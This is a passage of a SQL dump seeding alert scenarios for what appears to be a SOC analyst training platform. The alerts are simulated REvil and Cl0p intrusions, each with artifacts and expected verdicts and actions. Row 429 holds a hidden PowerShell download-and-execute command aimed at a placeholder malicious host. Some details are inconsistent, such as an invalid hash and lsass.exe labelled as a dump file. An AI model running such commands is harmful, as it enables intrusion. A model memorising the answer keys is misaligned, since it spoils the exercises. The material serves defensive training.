malware.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.031Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:15:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Registry Change Detected\\\",\\\"host\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"administrator\\\",\\\"ip_address\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"185.92.220.65\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\maliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\REvil\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"description\\\":\\\"Registry key modified to establish persistence by REvil malware.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.031Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:15:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Registry Change Detected\\\",\\\"host\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"administrator\\\",\\\"ip_address\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"185.92.220.65\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\maliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\REvil\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"description\\\":\\\"Registry key modified to establish persistence by REvil malware.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.031Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:15:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Registry Change Detected\\\",\\\"host\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"administrator\\\",\\\"ip_address\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"185.92.220.65\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\maliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\REvil\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"description\\\":\\\"Registry key modified to establish persistence by REvil malware.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(426, 'Lateral Movement via RDP', 'high', 'Network Traffic Analysis', 'Anomalous RDP connection detected from a known malicious IP address using stolen credentials. This activity matches the lateral movement tactics commonly associated with the REvil group, indicating an attempt to expand access within the network.', 'Lateral Movement', 'T1021.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"185.92.220.25\",\"dest_ip\":\"192.168.1.10\",\"username\":\"j.doe\",\"login_method\":\"RDP\",\"event_id\":\"4624\",\"event_type\":\"Logon\",\"logon_type\":\"10\",\"status\":\"Success\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"filename\":\"malicious_rdp_session.exe\"}', '2026-01-04 04:25:33', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with REvil operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Destination IP within internal network\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Valid user account within the organization\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash for malicious RDP session file\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(427, 'Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) System', 'The DLP system detected a large volume of sensitive data being transferred to an unauthorized external IP address. The data includes financial documents and proprietary design files. The activity is consistent with the REvil attack chain, indicating a potential preparation for ransomware deployment.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T16:42:00Z\",\"event_id\":\"EXFIL-2023-0005\",\"source_ip\":\"192.168.4.25\",\"destination_ip\":\"203.0.113.45\",\"file_hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"file_name\":\"financial_report_q3_2023.xlsx\",\"username\":\"jdoe\",\"action\":\"exfiltration\",\"protocol\":\"HTTPS\",\"data_size\":\"2GB\",\"malware_association\":\"REvil\",\"risk_score\":85}', '2026-01-04 04:25:33', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user\'s workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with REvil exfiltration tools\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_report_q3_2023.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"Standard financial document\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User of the affected machine\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.033Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T16:42:00Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-0005\\\",\\\"source_ip\\\":\\\"192.168.4.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"malware_association\\\":\\\"REvil\\\",\\\"risk_score\\\":85}\"},{\"timestamp\":\"2026-02-01T20:31:19.033Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T16:42:00Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-0005\\\",\\\"source_ip\\\":\\\"192.168.4.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"malware_association\\\":\\\"REvil\\\",\\\"risk_score\\\":85}\"},{\"timestamp\":\"2026-02-01T20:30:19.033Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T16:42:00Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-0005\\\",\\\"source_ip\\\":\\\"192.168.4.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"malware_association\\\":\\\"REvil\\\",\\\"risk_score\\\":85}\"},{\"timestamp\":\"2026-02-01T20:29:19.033Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T16:42:00Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-0005\\\",\\\"source_ip\\\":\\\"192.168.4.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"malware_association\\\":\\\"REvil\\\",\\\"risk_score\\\":85}\"},{\"timestamp\":\"2026-02-01T20:28:19.033Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T16:42:00Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-0005\\\",\\\"source_ip\\\":\\\"192.168.4.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"malware_association\\\":\\\"REvil\\\",\\\"risk_score\\\":85}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(428, 'Spear Phishing Email Detected', 'high', 'Email Gateway Logs', 'A spear phishing email has been detected targeting key employees, originating from a known malicious IP address associated with the Cl0p ransomware group. The email contains a crafted attachment designed to deploy an initial payload and harvest credentials.', 'Initial Access', 'T1566.001', 1, 'investigating', 49, '{\"timestamp\":\"2023-10-12T08:30:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.23\",\"recipient\":\"j.doe@company.com\",\"sender\":\"support@security-update.com\",\"subject\":\"Urgent: Security Update Required\",\"attachment\":\"Security_Update.exe\",\"attachment_hash\":\"f2a6b7a8c9d4e6f8b5c4d6e7f8a9b0c1\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"message_id\":\"<20231012083000.123456@company.com>\"}', '2026-01-04 04:38:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Cl0p ransomware group.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"support@security-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Phishing Database\",\"verdict\":\"malicious\",\"details\":\"Email used in prior spear phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2a6b7a8c9d4e6f8b5c4d6e7f8a9b0c1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Cl0p payload.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"j.doe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Employee email address.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Email Detected\",\"date\":\"2026-02-01T20:32:19.034Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(429, 'Malicious Script Execution', 'high', 'Endpoint Detection and Response (EDR)', 'A malicious script was executed on the endpoint to download and execute additional payloads, establishing a backdoor for persistent control. This follows a successful phishing attack.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:33Z\",\"event_type\":\"process_creation\",\"host_ip\":\"10.12.34.56\",\"username\":\"johndoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.site/payload.ps1\')\",\"file_hash\":\"ebd0c9b9a1d3b3c4f5a6d7e8f9a0b1c2d3e4f5g6h7i8j9k0\",\"attacker_ip\":\"203.0.113.45\",\"file_name\":\"payload.ps1\",\"process_id\":4521}', '2026-01-04 04:38:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware distribution campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"ebd0c9b9a1d3b3c4f5a6d7e8f9a0b1c2d3e4f5g6h7i8j9k0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known backdoor installation scripts.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"payload.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual script executed post-phishing attack.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"10.12.34.56\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP address of compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(430, 'Establishing Persistence via Registry Modification', 'high', 'Windows Registry Logs', 'Cl0p has been observed modifying registry keys to ensure their backdoor persists through system reboots. This technique is used to maintain a foothold in the system and evade basic detection.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-23T14:22:35Z\",\"event_id\":4657,\"user\":\"administrator\",\"computer_name\":\"WIN-12AB34CD56\",\"registry_key_path\":\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"registry_value_name\":\"MaliciousApp\",\"registry_value_data\":\"\\\"C:\\\\Windows\\\\System32\\\\malicious.exe\\\"\",\"source_ip\":\"192.168.1.100\",\"attacker_ip\":\"203.0.113.45\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"}', '2026-01-04 04:38:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Cl0p APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known Cl0p malware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local Threat Database\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used by Cl0p group.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.036Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-23T14:22:35Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"administrator\\\",\\\"computer_name\\\":\\\"WIN-12AB34CD56\\\",\\\"registry_key_path\\\":\\\"HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousApp\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\\\\\"\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.036Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-23T14:22:35Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"administrator\\\",\\\"computer_name\\\":\\\"WIN-12AB34CD56\\\",\\\"registry_key_path\\\":\\\"HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousApp\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\\\\\"\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.036Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-23T14:22:35Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"administrator\\\",\\\"computer_name\\\":\\\"WIN-12AB34CD56\\\",\\\"registry_key_path\\\":\\\"HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousApp\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\\\\\"\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.036Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-23T14:22:35Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"administrator\\\",\\\"computer_name\\\":\\\"WIN-12AB34CD56\\\",\\\"registry_key_path\\\":\\\"HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousApp\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\\\\\"\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.036Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-23T14:22:35Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"administrator\\\",\\\"computer_name\\\":\\\"WIN-12AB34CD56\\\",\\\"registry_key_path\\\":\\\"HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousApp\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\\\\\"\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(431, 'Credential Dumping in Progress', 'critical', 'Security Information and Event Management (SIEM)', 'With persistence established, Cl0p begins dumping credentials from memory, preparing to infiltrate additional systems within the network.', 'Lateral Movement', 'T1003 - Credential Dumping', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"185.92.220.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"admin_user\",\"process_name\":\"lsass.exe\",\"dump_file\":\"C:\\\\Windows\\\\Temp\\\\dumplog.dmp\",\"hash\":\"ab56b4d92b40713acc5af89985d4b786\",\"event_type\":\"Credential Dumping\",\"message\":\"Credential dumping detected from memory using lsass.exe.\"}', '2026-01-04 04:38:04', '2026-02-16 21:29:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Cl0p APT activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted for credential dumping\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"High privilege user account targeted\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"lsass.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"System Logs\",\"verdict\":\"suspicious\",\"details\":\"File used for storing dumped credentials\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"ab56b4d92b40713acc5af89985d4b786\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential dumping tools\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.037Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"dump_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumplog.dmp\\\",\\\"hash\\\":\\\"ab56b4d92b40713acc5af89985d4b786\\\",\\\"event_type\\\":\\\"Credential Dumping\\\",\\\"message\\\":\\\"Credential dumping detected from memory using lsass.exe.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.037Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"dump_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumplog.dmp\\\",\\\"hash\\\":\\\"ab56b4d92b40713acc5af89985d4b786\\\",\\\"event_type\\\":\\\"Credential Dumping\\\",\\\"message\\\":\\\"Credential dumping detected from memory using 